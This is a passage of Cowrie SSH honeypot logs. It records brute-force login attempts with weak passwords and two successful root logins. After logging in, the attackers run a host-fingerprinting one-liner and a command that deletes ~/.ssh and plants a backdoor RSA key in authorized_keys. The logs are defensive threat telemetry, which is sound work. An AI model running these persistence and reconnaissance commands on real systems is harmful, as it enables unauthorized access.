25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:32.988322Z","src_ip":"101.44.96.62","session":"949dada26c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:33.640303Z","src_ip":"101.44.96.62","session":"949dada26c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:34.860093Z","src_ip":"101.44.96.62","session":"949dada26c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":59742,"dst_ip":"159.203.135.109","dst_port":22,"session":"04b69759bf45","protocol":"ssh","message":"New connection: 91.92.240.199:59742 (159.203.135.109:22) [session: 04b69759bf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:44.113560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:45.019042Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:45.022604Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59910,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0f4bcb154e","protocol":"ssh","message":"New connection: 101.44.96.62:59910 (159.203.135.109:22) [session: 8f0f4bcb154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:46.407052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:46.410758Z","src_ip":"101.44.96.62","session":"8f0f4bcb154e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:46.627021Z","src_ip":"101.44.96.62","session":"8f0f4bcb154e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:47.278210Z","src_ip":"101.44.96.62","session":"8f0f4bcb154e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:48.498646Z","src_ip":"101.44.96.62","session":"8f0f4bcb154e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:49.098885Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:50.993212Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:50.996194Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:50.998791Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:51.002311Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:51.005558Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:51.008438Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:51.325194Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:51.330264Z","src_ip":"91.92.240.199","session":"04b69759bf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50378,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e15d2c38a9","protocol":"ssh","message":"New connection: 101.44.96.62:50378 (159.203.135.109:22) [session: 58e15d2c38a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:59.876141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:59.880647Z","src_ip":"101.44.96.62","session":"58e15d2c38a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:00.179030Z","src_ip":"101.44.96.62","session":"58e15d2c38a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"123456","message":"login attempt [oscar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:00.836944Z","src_ip":"101.44.96.62","session":"58e15d2c38a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:02.056859Z","src_ip":"101.44.96.62","session":"58e15d2c38a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36924,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc9ee11d1b1d","protocol":"ssh","message":"New connection: 101.44.96.62:36924 (159.203.135.109:22) [session: bc9ee11d1b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:13.436527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:13.440985Z","src_ip":"101.44.96.62","session":"bc9ee11d1b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:13.655406Z","src_ip":"101.44.96.62","session":"bc9ee11d1b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:14.297253Z","src_ip":"101.44.96.62","session":"bc9ee11d1b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:15.513850Z","src_ip":"101.44.96.62","session":"bc9ee11d1b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.132.227.251","src_port":42436,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb61784e645f","protocol":"ssh","message":"New connection: 43.132.227.251:42436 (159.203.135.109:22) [session: fb61784e645f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:20.824636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:20.831761Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:21.039616Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"sj@123456","message":"login attempt [root/sj@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:21.897782Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:22.343127Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:22.346523Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:22.350174Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:22.558936Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.049880Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.052873Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.264765Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.267646Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.132.227.251","src_port":42926,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b1339e0e676","protocol":"ssh","message":"New connection: 43.132.227.251:42926 (159.203.135.109:22) [session: 9b1339e0e676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.457551Z"}
